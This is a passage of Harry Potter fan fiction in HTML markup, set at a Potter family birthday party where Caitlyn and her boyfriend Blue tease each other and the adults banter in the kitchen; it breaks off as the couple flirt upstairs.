laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You really went for\nthat one!&#8221; Blue snickered. Caitlyn glared at him angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have to be\nthe most irritating person sometimes!&#8221; she snapped. She shoved him in annoyance\nand turned her back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He came up behind\nher and wrapped his arms around her middle. &#8220;Come on Caty, I was kidding.\nYou&#8217;re just so fun to tease. We did get swarmed by fans, but none of them made\na move on me&#8230;not that I&#8217;d let them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn turned,\nand smiled back at him. Although it wasn&#8217;t her normal nice smile, this one had\nan evil tinge to it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wha&#8230;why are you\nsmiling at me like that?&#8221; Blue asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two can play at\nthat game.&#8221; She said calmly. &#8220;No sex.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?!? Caty!&#8221;\nBlue cried as she turned and went into the den. He followed behind her. &#8220;Come\non, please!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Help me find the\ntablecloth my mother wants.&#8221; Caitlyn said, ignoring his plea. She wasn&#8217;t\nserious about not having sex, after spending two weeks without him she was as\nhungry for the &#8216;indoor&#8217; sport as Blue was, but it was also fun to tease him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He realized there\nwas nothing else he could do right now, so he kneeled down and helped her drag\na large white cloth from a drawer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She\nsaid as he shut the drawer for her. Blue made his eyes go wide and pleading, he\nknew it was a look Caitlyn couldn&#8217;t resist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t give me\nthat look.&#8221; She said immediately. Blue pushed it even further and stuck his\nlower lip out. &#8220;Blue, I mean it.&#8221; Caitlyn was obviously trying hard not to\nsmile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is it working?&#8221;\nhe asked, coming up to her. &#8220;Come on, just last night doesn&#8217;t make up for two\nweeks of nothing!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmm&#8230;&#8221; Caitlyn\nshifted the roll of cloth so it was held under one arm, while her index finger\ntapped her cheek. &#8220;I seem to be feeling just fine&#8230;&#8221; she dropped the tablecloth\nas Blue growled and rushed forward at her, grabbing her around the waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I&#8217;m\ncertainly not!&#8221; he said, crushing her body up against his. Caitlyn finally lost\nit and began to giggle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now who&#8217;s fun to\ntease?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ha ha.&#8221; Blue\nsaid sarcastically, but he was grinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you even\ngone home yet?&#8221; Caitlyn inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Git. Your mother\nwas waiting for you to show up all morning.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I help it if\nI had one gorgeous distraction keeping me from getting where I was supposed to\ngo?&#8221; Blue asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t realize\nthe Chudley Cannons were gorgeous.&#8221; Caitlyn sniggered. &#8220;Come on, our mothers\nare in the kitchen.&#8221; She picked up the tablecloth and then grabbed his hand,\nleading him down the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue!&#8221; Lavender\ncried as she saw her son. Caitlyn handed the cloth to her mother, avoiding her\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks dear. Did\nyou get lost trying to find it?&#8221; Hermione asked, barely suppressing a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something like\nthat.&#8221; Caitlyn muttered. &#8220;It was in the second drawer, not the third.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My mistake.&#8221;\nHermione said, smiling at her daughter and then Blue. &#8220;How are you Blue?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great, thanks.&#8221;\nBlue extracted himself from his mother and gave Hermione a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How was your\nmeeting this morning?&#8221; Lavender asked, looking fondly at her only child.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was fine.&#8221;\nBlue puffed his chest out proudly. &#8220;They&#8217;re saying I&#8217;m the best Keeper since\nOliver Wood, and that the Cannons finally have a shot at the World Cup!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nwonderful!&#8221; Lavender said, excited. &#8220;Does your father know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I just got\nhere.&#8221; Blue said. &#8220;Is he outside?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He and Harry are\noutside keeping the kids away from the house.&#8221; Hermione replied, shaking the\ntablecloth out. Lavender moved around to take the other end and help put it\nover the long table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty come with\nme.&#8221; Blue said, wrapping his hand around hers. They went outside by the edge of\nthe pond, where Ron and Harry were currently threatening to throw Carl in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Dad!&#8221; Blue\ncalled out as they approached. Ron and Harry put Carl down and turned to where\ntheir respective children were approaching. &#8220;Hi Uncle Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Ron&#8217;s\nsmile was wide as his son let go of Caitlyn&#8217;s hand and hugged him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did your\nmeeting go?&#8221; Harry asked, giving his daughter&#8217;s beau a hug as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great!&#8221; Blue beamed\nonce more. &#8220;Because of me the Cannons have a shot at the World Cup!&#8221; he boasted\nproudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn caught\nher father&#8217;s eye and grinned, she knew he wouldn&#8217;t say that she&#8217;d already\nrelayed this news earlier. Harry winked back at her as Ron gave a strangled\nshout and jumped into the air. Carl, Corinne and Colin looked at him like he\nwas crazy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My son, the best\nseeker the Cannons ever had!&#8221; Ron yelled, pumping his fist in the air. Harry\ncouldn&#8217;t help himself; he bent over and laughed loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Corinne ran over\nto Caitlyn and attached herself to her older sister&#8217;s legs, peeking through her\nblack curls at Blue. It was a long running joke in the Potter home that Caitlyn\nhad competition for Blue&#8217;s affections with Corinne.&nbsp; Colin and Carl, on the other hand, thought he was just another\nguy to play around with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue! Will you\ntake me on a ride on your broomstick?&#8221; Colin begged. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No fair, it&#8217;s my\nbirthday!&#8221; Carl whined, pushing Colin aside. Colin glared at his younger\nbrother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So? You get to\nsee him when I&#8217;m gone to school!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped\nnext to his sons. &#8220;Blue didn&#8217;t even bring his broomstick today, boys.&#8221; He put a\nhand on each other their shoulders. &#8220;You don&#8217;t want me to have to call your\nmother out here, do you?&#8221; he asked and everyone laughed at the look on the\nboys&#8217; faces. Harry and Ron took the boys and headed back to the house, but\nCorinne stayed close to her sister.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn picked\nher up; she was small for her age and rather light. She settled her sister on\nher hip and turned her to face Blue, who grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Corinne&#8230;&#8221; he\ndrawled, and Corinne blushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi.&#8221; She said\nshyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How&#8217;s my\nfavourite girl today?&#8221; Blue asked as Caitlyn smiled and passed her over. &#8220;How\nold are you now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Five&#8230;but not\ntill next week.&#8221; Corinne replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Five!&#8221; Blue\nsmacked a hand to his forehead dramatically. &#8220;I&#8217;m going to have to start\nbeating off those guys soon, how will they know that you two are my girls?&#8221;\nCaitlyn laughed and Corinne smiled and hugged him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace Finch\nFletchley held tight onto the hands of two of her youngest children as they\nwhirled through a portkey to the Potter&#8217;s residence. She and Justin had found\nout that apparating with six children was no way to travel, and when they had\nto go out of Diagon Alley, where they lived, portkeys were the easiest way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oof!&#8221; she cried\nas she was hurled onto the porch, crashing into what seemed to be about a\nhundred other people. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow Mum!&#8221;\nEight-year-old Elena cried as she smashed into her twin sister and brother.\nJustin appeared a moment later behind them, with their three older children in\ntow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is everyone all\nright?&#8221; George Weasley was looking on in amusement at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh fine.&#8221; Grace\nsaid, smiling ruefully. &#8220;It&#8217;s rough to travel with a large family. We always\nwind up in a jumble.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That tends to\nhappen with triplets as well.&#8221; George&#8217;s wife Ambir said. She put her hands on\nher son&#8217;s shoulders. They had two boys, Shinji and Kaworu, and a girl Nagisa.\nAmbir was of Japanese descent, and she and George had picked names from her\nfamily ancestors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you\ndoing?&#8221; Grace asked warmly. She&#8217;d become accustomed to the Weasley family over\nthe past eleven years, due to their &#8216;extended&#8217; families; they were often at the\nsame functions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh just fine.&#8221;\nAmbir answered. George grinned as the children squealed in excitement at seeing\none another.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought I\nheard something out here &#8211; Oh! Hi everyone!&#8221; Ron had opened the door. &#8220;How long\nhave you been standing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For an hour.&#8221;\nGeorge quipped, pushing past his younger brother. &#8220;About bloody time you\nanswered the door.&#8221; He grinned. &#8220;How are you, by the way?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, George\nthanks for asking.&#8221; Ron replied sarcastically, but he was grinning too. &#8220;Mum\nand Dad here yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was about to\nask you the same thing.&#8221; George said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess that&#8217;s a\nno then.&#8221; Ron answered. He grinned again at everyone else who was stumbling in\nthe door. &#8220;Hi kids!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Uncle Ron!&#8221;\nall nine children chorused. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Colin, Carl and\nCorinne are all out back.&#8221; Ron said, pointing to the rear of the house.\n&#8220;They&#8217;ve been waiting for you all morning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron, Ambir,\nGeorge, Grace and Justin all jumped aside as the stampede pounded through the\nhallway and out to the back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, breathing\nroom!&#8221; Justin said, sliding an arm around his wife&#8217;s waist. They all sniggered\nas they made their way into the kitchen, where Hermione was finishing the icing\nof one of her famous chocolate cakes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t think\nall those children were mine.&#8221; She remarked lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I should think\nnot.&#8221; Grace laughed. &#8220;But you&#8217;re welcome to them if you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thanks, four\nare all I can handle.&#8221; Hermione joked. She set her wand down (she&#8217;d been using\nit to write on the cake) and hugged her best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;s Harry?&#8221;\nJustin asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where do you\nthink? He&#8217;s disappeared&#8230;soon as there&#8217;s work to do, he&#8217;s gone.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron, George and\nJustin all burst into laughter while the women shook their heads.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t your\nparents here yet Ron?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That seems to be\nthe million Galleon question of the day.&#8221; Ron quipped, and George sniggered.\n&#8220;No they&#8217;re not.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe I should\nhave asked to have the party there. The boys always seem to behave when we&#8217;re\nat your parents&#8217;.&#8221; Hermione grinned as Harry came into the kitchen. &#8220;Look who&#8217;s\nfinally decided to join us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry\nlooked confused. &#8220;I had&#8230;something to do.&#8221; He greeted everyone with a somewhat\nstrained smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You always have\nsomething to do when there&#8217;s something to be done here in the kitchen.&#8221;\nHermione waved a finger at her husband. She clearly wasn&#8217;t mad due to the smile\non her face. &#8220;I was just saying how the boys always seem to behave when we&#8217;re\nat Molly and Arthur&#8217;s.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed.\n&#8220;That&#8217;s for sure. Almost act like angels.&#8221; He looked over at George and Ron. &#8220;Your\nparents have the best gatherings. They always invite us even though we&#8217;re\ntechnically not family.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron gave him an\nevil smile. &#8220;Oh but that may change soon enough, right Harry?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glared.\n&#8220;Shut up Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron rolled his\neyes and sent a smile at Hermione, who grinned back. &#8220;Oh come on Harry, don&#8217;t\nyou think it&#8217;d be great having Blue as a son in law?&#8221; she asked, sliding her\narms around his stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;suppose&#8230;&#8221;\nHarry stammered. He did like Blue, he liked him a lot, but he just didn&#8217;t want\nhis daughter to be married so soon. He knew he was a bit overprotective, but\nCaitlyn and he had a very special bond; for the first eleven years of her life\nthey&#8217;d only had each other. &#8220;Ooh look, my wife has finished the cake!&#8221; he said\nquickly, hoping to change the subject. He, Ron, Justin and George licked their\nlips and scurried to the counter to &#8216;taste&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Freeze!&#8221;\nHermione pulled her wand out of her pocket and aimed it at the four men. &#8220;Take\neven one swipe at that cake and you&#8217;ll be spitting slugs for a week!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron was the first\nto back off; the memory of belching slugs in his second year was still too\npowerful a memory to make him want to go through it again. George roared, and\nHarry and Justin guiltily put their hands up and stepped away. Hermione shot\nout a small zap that hit all four men in the posterior and all the men grabbed\ntheir arses and yelped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione what\nwas that for?&#8221; Harry whined.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You touch my\ncake, you pay the price.&#8221; Hermione said, wagging her finger at her husband.\n&#8220;That was only a taste&#8230;&#8221; the whole kitchen exploded in laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">By the time\nanother hour had rolled by, Molly and Arthur had arrived and the party was in\nfull swing. Hermione had managed to usher all the children outside, and they\nwere happily playing together in a large group by the pond and small clearing\nof woods.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to use\nthis teacup!&#8221; Nagisa held up a pink flowered cup that filled itself with sweet\ntea the moment she touched it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Corinne looked at\nher but didn&#8217;t say anything. It was her favourite coloured cup; Carl was\nalready using the other one just like it. Her twin turned to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here.&#8221; He set\nthe other pink cup down in front of his sister. &#8220;You can have this one.&#8221; Carl grabbed\nthe purple cup that was sitting in front of his sister. I&#8217;ll use this one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Corinne grinned\nwidely. &#8220;Thanks Carl.&#8221; She reached over and hugged her twin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn passed by\nthem, smiling. Ever since the twins had been born, Carl, three minutes older,\nhad been extremely protective of his sister. They never fought, and were almost\nalways together. She headed towards her house, intending to get some more\npumpkin juice for herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Save some of\nthat for me!&#8221; Caitlyn called as she opened the door. Grace stood at the\ncounter, filling herself a glass of juice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure honey.&#8221;\nGrace smiled at her. Caitlyn loved her mother&#8217;s friend; she was one of the\ncoolest and most unpredictable people she had ever known. &#8220;I haven&#8217;t had a\nchance to talk to you yet, how is everything?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, perfect.&#8221;\nCaitlyn grinned. She filled Grace in on the details of her trip to Spain. &#8220;I&#8217;m\ntaking a bit of time off though, to spend with friends and family. I&#8217;ve been\nworking non-stop for about six months.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Spend more time\nwith Blue, you mean.&#8221; Grace said slyly. Caitlyn flushed red. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, yes.&#8221; She\nleaned back against the counter. &#8220;We&#8217;ve both been terribly busy lately, he&#8217;s\ndoing so well in Quidditch that he&#8217;s required to practice constantly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your mother\ntells me you two have become quite close.&#8221; Grace said, arching an eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;you could\nsay that.&#8221; Caitlyn grinned. &#8220;You know how it is&#8230;.&#8221; Grace laughed and nodded.\nJust then one of her elder children, Samantha, came running in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum, Daddy told\nme I couldn&#8217;t stay over at Jenny&#8217;s tonight!&#8221; she cried, her face gone red in\nanger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s probably\njust teasing you.&#8221; Grace replied. &#8220;You know you&#8217;re going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn turned to\ntake a sip of her juice and noticed Blue standing in the entryway to the hall.\nHe motioned with his head upstairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go ahead, I&#8217;ll\nbe there in a little bit.&#8221; She mouthed. He nodded and slipped away before\nanyone could notice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry about\nthat.&#8221; Grace said as Samantha happily went back outside. &#8220;Sometimes Justin\nlikes to tease her about seeing her friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.\nI have to go get something&#8212;&#8221; she began but then her mother entered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh there you are\nGrace.&#8221; Hermione said. &#8220;I figured you&#8217;d corner her sooner or later.&#8221; She\ngrinned at her daughter. &#8220;Sometimes I think you tell Grace more than you tell me\nabout your current living situation.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, actually,\nshe hasn&#8217;t told me anything.&#8221; Grace teased. Both women turned towards the\nyounger girl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Caitlyn\nasked after a moment. She shot a longing glance towards the hallway. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well for\nstarters, I&#8217;d really like to hear more about how many people are living in your\nflat.&#8221; Hermione said, sitting down at the table. Grace followed suit, and\nCaitlyn realized with a sigh that she wouldn&#8217;t be leaving anytime soon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue flopped back\non his girlfriend&#8217;s old bed. Not being able to see her for two weeks had been\nrough, not just on his libido but he&#8217;d really missed her as well. Ever since\ngetting together five years before, they&#8217;d barely been separated for more than\nthree days at a time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on Caty&#8230;&#8221;\nhe grumbled a bit as five minutes ticked by and she still hadn&#8217;t shown up. He\nsaw her bag on the floor and rifled through it, hoping to find something to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lucky for Blue,\nshe&#8217;d stowed a Quidditch magazine among the clothing she&#8217;d hurriedly thrown in\nthere that morning, and he sat back down and began flipping through it. He was\nnearing the end when he heard footsteps on the stairs just outside her room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll just change\nand be down in a minute.&#8221; Caitlyn called. Her brothers had come in to get a\ndrink and immediately Carl had managed to spill pumpkin juice all over her. She\nprobably could have just charmed the stain right off, but it provided her a\ngood excuse to finally go upstairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue?&#8221; she\ncalled out softly as she stepped inside. &#8220;Blue are you still in here?&#8221; the room\nlooked empty, and Caitlyn sighed, he must have gone back downstairs. Going over\nto her bag, she rummaged through it looking for another shirt; she could have\nsworn she had thrown in more than one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn it, where\nis it?&#8221; she muttered. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right here.&#8221;\nBlue said, popping up from the other side of the bed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn jumped.\n&#8220;Blue!!&#8221; she screamed angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He fell down on\nthe bed, laughing hysterically. &#8220;That&#8217;s three for me!&#8221; he cheered. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are so immature!&#8221;\nshe snapped, yanking her shirt from his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Blue\nsmirked. &#8220;It&#8217;s part of my charm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn\nsnickered. &#8220;Charm, is that what it&#8217;s called?&#8221; She started to unbutton her\nshirt, then stopped. &#8220;Do you mind?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Blue asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need to\nchange.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So? Go ahead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn looked at\nher boyfriend through narrowed eyes. &#8220;Do you really think after that little\nstunt that I&#8217;d let you see anything?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, you kept me\nwaiting a half hour!&#8221; Blue claimed. &#8220;I&#8217;m a sexually frustrated red blooded\nwizard who just wants to spend some quality time with the girl he loves.&#8221; He\nstuck his lower lip back out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You weren&#8217;t so\nsexually frustrated last night.&#8221; Caitlyn pointed out, unbuttoning the rest of\nher blouse. &#8220;In fact, I think we very nearly got caught up with our two weeks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nearly&#8230;&#8221; Blue&#8217;s\neyes lit up. &#8220;Nearly, not totally.&#8221; He pulled her onto the bed, flipping\nhimself so he was leaning over her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nthink you&#8217;re doing?&#8221; she asked, as he bent down and lightly blew in her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m 